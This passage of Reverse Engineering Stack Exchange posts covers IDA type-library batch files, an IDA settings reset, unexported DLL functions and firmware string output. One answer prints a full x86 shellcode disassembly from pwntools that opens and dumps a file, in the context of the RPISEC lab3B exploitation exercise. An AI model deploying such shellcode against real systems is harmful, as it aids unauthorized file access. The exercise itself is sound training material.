    • Options used: The following two batch files are: one for SDK and one for DDK. Copy the code in .bat or .cmd file. Edit the necessary paths for your IDA and SDK/DDK.

      • \n
    \n\n\n\n
    -c     create til-file\n-h...  parse .h file\n-D...  define a symbol\n-I...  list of include directories\n-e     ignore errors\n
    \n\n

    Windows.h header file:

    \n\n
    @echo off\ncls\nset ver=10.0.17134.0\nset folder=%ProgramFiles(x86)%\\Windows Kits\\10\\Include\\%ver%\nE:\\IDA70\\tilib64.exe -c ^\n-Cc1 ^\n-D_MSC_VER=1914 ^\n-D_MSC_FULL_VER=191426433 ^\n-D_WIN32_WINNT=0x0A00 ^\n-DNTDDI_VERSION=WDK_NTDDI_VERSION ^\n-DWDK_NTDDI_VERSION=NTDDI_WIN10_RS4 ^\n-DNTDDI_WIN10_RS4=0x0A000005 ^\n-D_WIN32 ^\n-D_AMD64_ ^\n-D_M_AMD64 ^\n-D_inline=inline ^\n-D__inline=inline ^\n-D__forceinline=inline ^\n-Dbool=uint8_t ^\n-DSIZE_T=size_t ^\n-DPSIZE_T=size_t* ^\n-h\"%folder%\\um\\Windows.h\" ^\n-I\"%folder%\\cppwinrt\\winrt\" ^\n-I\"%folder%\\km\" ^\n-I\"%folder%\\km\\crt\" ^\n-I\"%folder%\\shared\" ^\n-I\"%folder%\\ucrt\" ^\n-I\"%folder%\\um\" ^\n-I\"%folder%\\winrt\" ^\n-e ^\nWindows_17134.til\n
    \n\n

    ntddk.h header file:

    \n\n
    @echo off\ncls\nset ver=10.0.17134.0\nset folder=%ProgramFiles(x86)%\\Windows Kits\\10\\Include\\%ver%\nE:\\IDA70\\tilib64.exe -c ^\n-Cc1 ^\n-D_MSC_VER=1914 ^\n-D_MSC_FULL_VER=191426433 ^\n-D_WIN32_WINNT=0x0A00 ^\n-DNTDDI_VERSION=WDK_NTDDI_VERSION ^\n-DWDK_NTDDI_VERSION=NTDDI_WIN10_RS4 ^\n-DNTDDI_WIN10_RS4=0x0A000005 ^\n-D_WIN32 ^\n-D_AMD64_ ^\n-D_M_AMD64 ^\n-D_inline=inline ^\n-D__inline=inline ^\n-D__forceinline=inline ^\n-D__volatile=volatile ^\n-Dbool=uint8_t ^\n-DRC_INVOKED ^\n-D_INC_STRING ^\n-h\"%folder%\\km\\ntddk.h\" ^\n-I\"%folder%\\cppwinrt\\winrt\" ^\n-I\"%folder%\\km\" ^\n-I\"%folder%\\km\\crt\" ^\n-I\"%folder%\\shared\" ^\n-I\"%folder%\\ucrt\" ^\n-I\"%folder%\\um\" ^\n-I\"%folder%\\winrt\" ^\n-e ^\nntddk_17134.til\n
    \n\n
      \n
    • Notes: The include folder (with -I option) may change in future. The definitions (with -D option) are added by judging the conditional #define in corresponding header files. Add more definition until you satisfied. But there are many syntax errors in header files which are suppressed with -e option. Those can be remove only by editing every header files but that is more time consuming and tedious.
      • \n
    \n" }, { "Id": "18670", "CreationDate": "2018-07-03T02:17:50.677", "Body": "

    I was just debugging something in IDA and it told me that the instruction pointer was pointing into the middle of an instruction, and asked if I would like to have it disassemble the middle of the instruction. In my particular case I never want to do that, so I checked \"don't ask me again\", but then I clicked yes accidentally, so now it's redefining my code and throwing away my carefully written comments every time I step. How do I reset this?

    \n", "Title": "How do I reset the \"don't ask me again\" checkbox in an IDA popup?", "Tags": "|ida|", "Answer": "

    Go to Windows -> Reset hidden messages.

    \n\n

    \"enter

    \n\n

    \"enter

    \n" }, { "Id": "18675", "CreationDate": "2018-07-03T19:44:34.923", "Body": "

    I'm currently trying to understand a peculiar behaviour with a shellcode. When reaching a MOV instruction just before an interrupt the shellcode get modified:

    \n\n

    \"radare2

    \n\n

    As you can see on the radare2 output, my shellcode is still there before the mov instruction, but once I step into it all the shellcode seems scrambled. I tried this shellcode on an ubuntu virtualbox VM.

    \n\n

    The target binary is taken from RPISEC lab3B.

    \n\n

    The shellcode come from pwntools, I tested it first directly from the lib and it works on the VM. I'm wondering how executing a mov instruction can have such an impact especially since I'm not getting any sigsev.

    \n", "Title": "Shellcode issue", "Tags": "|x86|exploit|", "Answer": "

    The shellcode you're using is this

    \n\n
     0:    6a 01                    push   0x1\n 2:    5f                       pop    edi\n 3:    68 01 01 01 01           push   0x1010101\n 8:    81 34 24 75 79 75 01     xor    DWORD PTR [esp], 0x1757975\n f:    68 6f 61 64 2e           push   0x2e64616f\n14:    68 70 61 79 6c           push   0x6c796170\n19:    6a 05                    push   0x5\n1b:    58                       pop    eax\n1c:    89 e3                    mov    ebx, esp\n1e:    31 c9                    xor    ecx, ecx\n20:    cd 80                    int    0x80\n22:    89 c5                    mov    ebp, eax\n24:    89 c3                    mov    ebx, eax\n26:    6a 6c                    push   0x6c\n28:    58                       pop    eax\n29:    89 e1                    mov    ecx, esp\n2b:    cd 80                    int    0x80\n2d:    83 c4 14                 add    esp, 0x14\n30:    8b 34 24                 mov    esi, DWORD PTR [esp]\n33:    31 c0                    xor    eax, eax\n35:    b0 bb                    mov    al, 0xbb\n37:    89 fb                    mov    ebx, edi\n39:    89 e9                    mov    ecx, ebp\n3b:    99                       cdq\n3c:    cd 80                    int    0x80\n
    \n\n

    This is from here in pwntools.

    \n\n

    The first syscall is i386.syscall('SYS_open', 'esp', 'O_RDONLY') for payload.txt which will succeed if cwd has the file. The next is ${i386.syscall('SYS_fstat', 'eax', 'esp')} which has a signature like

    \n\n
    int fstat(int fd, struct stat *statbuf);\n
    \n\n

    According to the man page

    \n\n
    \n

    These functions return information about a file, in the buffer pointed to by statbuf.

    \n
    \n\n

    In your case statbuf is esp and hence the stack is overwritten. Always debug and read the shellcode you're using.

    \n" }, { "Id": "18676", "CreationDate": "2018-07-03T20:46:51.870", "Body": "

    I'm writing in C++ and doing an exercise to familiarize myself with DLLs and shared objects (.so). How can I access internals without exporting them? GetProcAddress returns null on a call of an unexported function. I wrote the DLL so I know all of the function and variable names.

    \n", "Title": "How can I access an internal DLL function or piece of data externally?", "Tags": "|c++|dll|", "Answer": "

    The GetProcAddr Windows API is used to retrieve addresses for exported functions. It will always return null for non-exported functions as it is unable to find it in the PE file.

    \n\n

    Exporting a function is what makes it available to other executables. Without exporting the data of where in the executable a function resides is unavailable (this is not entirely true, as symbols may still reveal that information but they're not used by GetProcAddr).

    \n\n

    If you still wish to find a function pointer to a non exported function, you'll need to follow an exported reference chain. For example, if func1 uses func2 and func1 is exported, you can get the address for func1 and then disassemble func1 until you find the call to func2 within it. Recognising the right call may be a little tricky, but that's definitely doable.

    \n" }, { "Id": "18682", "CreationDate": "2018-07-04T10:57:44.010", "Body": "

    I'm trying to extract data from a firmware file.

    \n\n

    I used binwalk on the firmware, which found a single chunk of Zlib compressed data. I uncompressed this data, and used strings on the result, which produced output whose structure looks a lot like a mix of file paths, source code, and human-readable text. Here's a small sample:

    \n\n
    32107654ba98fedc\n32107654BA98FEDC\n,8UBEDSA GTRESiaF :del\n elifs% :l\n0`YhaGp`a9\nI&N'H&M(L'\nCJLLKIMHL`+#\nJ!H!!=L\"N!\nGE6420><:8QOMKYWUS\n-NAL@x!xcx\n<+,I+K*H&x\n-K\\M[L\\x/x#x\n./..il/.eh/b-xilmmocm/nos/ucerahrs/drd/crevicpi/\nc../..il/.eh/b-xilmmocm/nos/ucerahrs/drd/creviCiu/.mmo\nc./..il/.eh/b-xilmmocm/nom/uc_nias/4md/creviriu/rCpsI.mmo\n./..il/.eh/b-xilmmocm/nom/uc_nias/4md/creviriu/rUpsItadp\n?cnySnorhdezi\ncnySnorhdezi\ncnySnorhdezi\n0tinImoC telp\nd% C862 95341 86\n62 W5348 8694201\n./..il/.OP/balPDhs/yderacrs/ird//revCIPS.mmo\ncORRES :R%[IP :]d toGinapni cacid!rot:CP 0%x0\nX8[IPS ]d%eteDdetc XR revowolfd%( \n) IPSe xrrorrd% :\nf oN eer IPSp xrekca\ntseborrE=! rFx0 FFFF\nFFF./..il/.eh/b-xilmmocm/nos/ucerahrs/drd/crevirau/\n./..il/.OP/balPDcm/yrs/urd/creviips/\nNY./..il/.OP/balPDcm/yrs/urd/crevimds/c.cm\n./..il/.OP/balPDcm/yrs/urd/crevimds/eDcm\n./..il/.OP/balPDcm/yrs/urd/crevipsd/\n./..il/.eh/b-xilmmocm/nom/uc_nias/4md/crevirop/r\n./..il/.eh/b-xilmmocm/nom/uc_nias/4md/crevirep/r.lad\n./..il/.eh/b-xilmmocm/nom/uc_nias/4md/crevirim/riDid\nc.n./..il/.eh/b-xilmmocm/nom/uc_nias/4md/crevir6l/rkniLc.CB\n./..il/.eh/b-xilmmocm/nom/uc_nias/4md/crevir6l/rkniL\n./..il/.eh/b-xilmmocm/nom/uc_nias/4md/crevirav/rxair\nc../..il/.eh/b-xilmmocm/nom/uc_nias/4md/crevirid/ratigduAloIoi\nc.-tve di>EH <CXILRTNOE_LOTNEV_DI_NUOC\nTipg!er_ouOdatuptLEH(OCXIORTNER_L_TESTROPEH ,CXILRTNOR_LOTESENIP_&& )pg! r_oiOdaeuptuEH(tCXILRTNOB_LO_TOOTROPEH ,CXILRTNOB_LO_TOO)NIP\nY< diLEH OCXIORTNVE_L_TNEC_DITNUO\n bc(N =!)LLU && -bc(nuf>oitc=! nLUN \n)LcaPp tekN =!\nLLUtyb(uoCe= tn)0 = || yb((oCet tnu)0 > && aDp(! atUN =))LL\nS_SIECCUr(SS\n)seleHgoCxiortnIsIlitinzila\ndeS_SIECCUr(SSaVte\ners/.rd/crevileh/oCxiortneh/lCxilrtnoc.lo\nrs/.rd/crevileh/oCxiortneh/lCxilrtnoELlo\nc.Drs/.rd/crevileh/oCxiortneh/lCxilrtnocSlobbirCLel\nc.DLrtstgne=< hxam eziStSfOgnir\nrs/.rd/crevileh/oCxiortneh/lCxilrtnoaMloCLni\nc.Drs/.rd/crevileh/oCxiortneh/lCxilrtnoiUlonevE\nc.tPcHpekcaEiUttnevwS>-hcti di.EH <CXILRTNOP_LOEKCAIU_TNEVEWS_THCTI_DI_NUOC\nTPcHpekcaEiUttnevwS>-hctiats.< etLEH OCXIORTNAP_LTEKCEIU_TNEVIWS__HCTTATSDI_EUOC_\nTNVEIU_TNEULAVNI_Ep*(TvEiUDtnercseotpi! )rIU =NEVEAV_T_EULLLUN\nPcHpekcaEiUttnevep>-.lad< diLEH OCXIORTNAP_LTEKCEIU_TNEVDEP_I_LAOC_D\nTNUPcHpekcaEiUttnevep>-.ladulav=< e0.1 \nrs/.rd/crevileh/oCxiortneh/lCxilrtnosIlomoCp\nc.m-tve di>EH <CXILRTNOI_LOU_PSTADPVE_E_TNEP_DIECORC_SSTNUO\nrs/.rd/crevileh/oCxiortneh/lCxilrtnosIlodpUp.eta\nc< diLEH OCXIORTNSI_LPU_PETADEVE_I_TNRP_DSECOOC_S\nDN./..il/.eh/b-xilmmocm/nom/uc_nias/4md/crevirce/rrDmo\n|FUI$N#F0h3G\n./..il/.OP/balPDcm/yrs/usd/csd/pnaMprega\nc.essartSt maeN =!\n./..il/.OP/balPDcm/yrs/usd/csd/pnoCplorteilCc.tn\n./..il/.OP/balPDhs/yderacrs/sys//mettSOImaer\nh.W_SI_DROEZISILA_DENGzis(\n)eW_SI_DROEZISILA_DENGfub(\n)zSW_SI_DROEZISILA_DENGlav(uBeu)zSf\n./..il/.OP/balPDcm/yrs/usd/csd/pnoCplorteilCM_tnoPgsc.tr\n./..il/.OP/balPDcm/yrs/usd/csd/polSp\n./..il/.OP/balPDcm/yrs/usd/csd/pnoCptxet\n./..il/.OP/balPDcm/yrs/usd/csd/pteMpnaMarega\n./..il/.OP/balPDcm/yrs/usd/csd/pteMpmySaslob\n./..il/.OP/balPDcm/yrs/usd/csd/pseRpcruonaMerega\nUedniEnIxyrtnlbaT < en>-csUmunEdeeirt\nse>-cirtni[sexednnEnITyrtelbaer.] DIsr ==DIse\n./..il/.OP/balPDcm/yrs/usd/csd/pseRpcruocaCec.eh\n./..il/.OP/balPDcm/yrs/uht/cdaeruM/s.xet\n?6~j?p?j?&\nAH?kc7?ei&?\nM?O?^?QKf?gff?\nV+?ov-?yV%?\no>aUq>y_q>1\ngff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?gff?eff\n4>13;>afB>\nX>13_>aff>\n%?gf'?33)?\n.?gf0?332?\n7?gf9?33;?\n@?gfB?33D?\nI?gfK?33M?\nR?gfT?33V?\n[?gf]?33_?\nR?iNK?uuC?;>;?9\nk?cRf?Q]`?\nr??%t?aIu?\ndv?aIu??%t?\nr?ytm?QGh?U\n=A_->)Ki>5\nP?WBM?OpI?%\n@<e5F<7F7<\nb:b{JW#$F8`\ntluM1( i,\"4/RLX iD ,atigU ,l1 BS\nigiD latP/S(,FIDSEA UBE/ro , 6L KNIL\ntluMG( iatiuA ,r ,xuiraV\niraVM xaengascit\nigiD latP/S( FIDA roE/SE\ntluMG( iatiuA ,r ,xuiraV\niraVM xaengascit\nigiD latP/S( FIDA roE/SE\ntluM1( i,\"4/RLX iD ,atigU ,l1 BS\nigiD latP/S(,FIDSEA UBE/ro , 6L KNIL\n( ittiuG ,ra,xuAraV )xai\n xaingaMcite\n( it\"4/1LX ,D ,Rtigi ,la BSU)2/1\nlati/S( FIDPEA ,BE/So ,U6L rNIL \nkcaP stetnes   :    \nkcaP steecerdevi   :    \n   orrE :sr        \n-:2LD--- DP\n---ileHoC xortnd :locsicenn\ndetileHoC xortnc :lennodetc\n   ileHoC xortne :lemunetar\n  dV WFisre :no---v---.---.\n\"`F!`l`,Hm`\nKlNk`4JlF!p\nHhIgp,p4MhNgp\nxdi( => & )0i( &< xdDIU LPSIL_YAI_DEOC_D)TNU\ncLch dIdEH <CXILRTNOP_LOEKCACS_TBBIRL_ELI_DCOC_D\nTNUrs/.iu/cDiu/lpsic.ya\n^./..il/.eh/b-xilmmocm/nom/uc_nias/4mu/crrg/iihpag/schparMsciganac.re\n4./..il/.OP/balPDcm/yrs/uiu/carg/cihprg/sihpaeMscaMategan\np./..il/.OP/balPDcm/yrs/uiu/carg/cihprg/sihpaeRscruosaMecegan\nJNHMNOINMPOO#\ntadep < lADEPDI_LUOC_\nTNnevei>-t== dLEH OCXIORTNVE_L_TNEU_DIEVEI\nnwoEiUgtnevksaTnuRsgnin\n./..il/.eh/b-xilmmocm/nom/uc_nias/4mu/criu/inevE\n./..il/.eh/b-xilmmocm/nom/uc_nias/4mu/crrg/iihpat/sc.txe\n./..il/.eh/b-xilmmocm/nom/uc_nias/4mu/crrg/iihpag/schparOscicejbiu/tgamI\nE./..il/.eh/b-xilmmocm/nom/uc_nias/4mu/crrg/iihpag/schparOscicejbiu/tgdiWc.te\nl/..m/biapgss/kco/crcejbc.ct\n:TREOOP si Lard deni\n:TREmem _rgmollaSI cTUO  FO OMEM!!YR\nHkMjC4IkKk\nNiF)F(p=p%p\nwsileHoC xortn - lmunEtare\ndeileHoC xortn - ledlOev roisred ntcet\ndeileHoC xortn - leweNev roisred ntcet\ndeileHoC xortn - lernUngocdezi wf eteddetc\n./..il/.OP/balPDcm/yrs/uht/cdaerhT/sdaer\nh.rs/.pa/cpa/p\ncol(oita! )nUN =\nLLsed(pirc)rot =! LLUN\nolb( )kcN =!\nLLUter(IjbO! )DUN =\nLLrs/.pa/cpa/ppsDp\nc.RELAI :Tlavnf diIwold% d\nuos(Iecr! )DUN =\nLLnis()DIk =! LLUN\nIjbo=! DLUN \nLZterSeno eziN =!\nLLUwolf =! LLUN\nH !F1Q`F 3\nPedniZnIx enoeg <xaMtenoZeziSnoz(\n)eolf(! )wUN =\nLLacolnoit =! LLUN\nacolnoitni>-IxednoZn=> e\n0 acolnoitni>-IxednoZn < eMtegoZxaiSenz(ez)eno\nedniZnIx enoPA <SD_PLF_PM_WOB_XAKCOLEP_SOZ_R\nENeppuziSr== ePPA PSD_OLF_AM_WLB_XSKCOREP_NOZ_\nEtgt(wolFrp>-ziSe + eFtgt-wolppu>iSre )ezA =<D_PPF_PS_WOL_XAMCOLBP_SKZ_RE\nENOtgt(wolFrp>-ziSe + eFtgt-wolppu>iSre+ eztgt wolFop>-iSts )ezA =<D_PPF_PS_WOL_XAMCOLBP_SKZ_RE\nENOenozeziS => \n0Serp ezi0 ==\nwolfrp>-ziSe + ewolfpu>-Srep ezilf +>-wotsopeziS =< _PPA_PSDWOLFXAM_OLB__SKC_REPENOZ\newoluoCr! tn\n0 =potspooL :rearapoN moF t dnu\newoluoCr= tn\n0 =ovipdnIt> xe\n0 =ovipdnIt< xeteg ZxaMSeno(ezienoz\n)enoz =! LLUN\nrs/.pa/cpa/ppsDpwolF\nc.enozeziS =< _PPA_PSDWOLFXAM_OLB__SKC_REPENOZ\nedniZnIx eno0 =>\nruosnIec xed0 =>\nruosnIec xedPA <SD_PLF_PM_WOB_XAKCOLEP_SOZ_R\nENgratnIte xed0 =>\ngratnIte xedPA <SD_PLF_PM_WOB_XAKCOLEP_SOZ_R\nENbmunfOrecolB> sk\n0 =bmunfOrecolB< skPA =SD_PLF_PM_WOB_XAKCOLEP_SOZ_R\nENuos_Iecrxedn => \n0rat_Itegxedn => \n :RtuorSgni-tolrap>Ztne enoN =!\n
    \n\n

    There's also some ASCII art later in the output, which I believe is used to control the ouput of some small LCD displays on the device:

    \n\n
    %)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJRJRJR%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJRJRJR%)%)%)%)%)%)%)%)JRJRJRJRJRJRJRJRJRJRJRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJRJRJRJRJR%)%)%)%)%)%)%)%)JR%)JRJR%)%)%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJRJRJR%)%)%)%)%)%)JRJRJRJRJRJRJRJRJRJRJRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)JR%)JRJR%)JR%)%)%)%)%)%)JR%)JRJR%)%)%)%)%)%)%)%)%)%)JRJRJRJR%)%)%)%)JRJR%)JR%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)JR%)JR%)%)%)%)%)%)%)%)%)JR%)JRJR%)%)%)%)%)%)JR%)%)JR%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)JRJR%)%)%)%)%)%)JRJRJR%)%)JR%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)JRJR%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)JRJR%)%)%)%)%)%)JRJRJR%)%)JR%)%)%)%)%)%)JRJR%)JR%)%)%)%)%)%)%)%)JRJR%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)JRJR%)%)%)%)%)%)%)JR%)%)%)JR%)%)%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)JRJR%)%)%)%)JR%)%)JR%)%)JRJR%)%)%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJRJRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)JR%)%)JR%)%)%)%)JR%)%)JR%)%)JRJR%)%)%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)JR%)JRJR%)JR%)%)%)%)JR%)%)%)%)%)JR%)%)%)%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJRJRJRJRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJRJRJRJRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJRJRJRJRJR%)%)%)%)%)%)JRJR%)%)%)%)JR%)%)JR%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJRJRJRJRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJRJRJR%)%)%)%)%)%)%)%)JRJR%)%)%)%)JR%)%)JR%)%)%)%)JRJR%)%)%)%)%)%)JRJRJRJRJRJR%)JR%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJRJRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)%)%)%)%)%)%)JR%)%)%)%)JRJR%)%)%)%)%)%)JRJRJRJRJRJR%)JR%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)JRJR%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)JR%)%)JR%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJRJRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJRJRJRJRJR%)%)%)%)JRJR%)%)%)%)%)%)%)%)%)%)JR%)%)JR%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJRJRJRJRJRJRJRJRJR%)%)%)%)JRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJRJRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)%)%)JRJR%)%)%)%)%)%)%)%)JR%)%)JR%)%)JR%)%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)JRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)%)%)JRJR%)%)%)%)%)%)%)%)JR%)%)JR%)%)JR%)JRJR%)%)%)%)%)%)%)%)JR%)%)JR%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JRJR%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)%)%)%)%)%)%)%)%)%)%)JR%)%)%)%)JRJRJRJR%)%)%)%)JR%)JRJR%)JR%)%)JRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)JRJR%)%)%)%)JR%)JRJRJRJRJRJRJRJR%)JR%)%)%)%)JRJRJRJRJRJRJRJRJRJRJRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)JR%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)JR%)%)JR%)%)%)%)%)%)%)%)%)%)JRJR%)%)%)%)%)%)JR%)JRJRJRJR%)JR%)%)%)%)%)%)JRJRJRJRJRJRJRJRJRJRJRJR%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)%)B\n
    \n\n

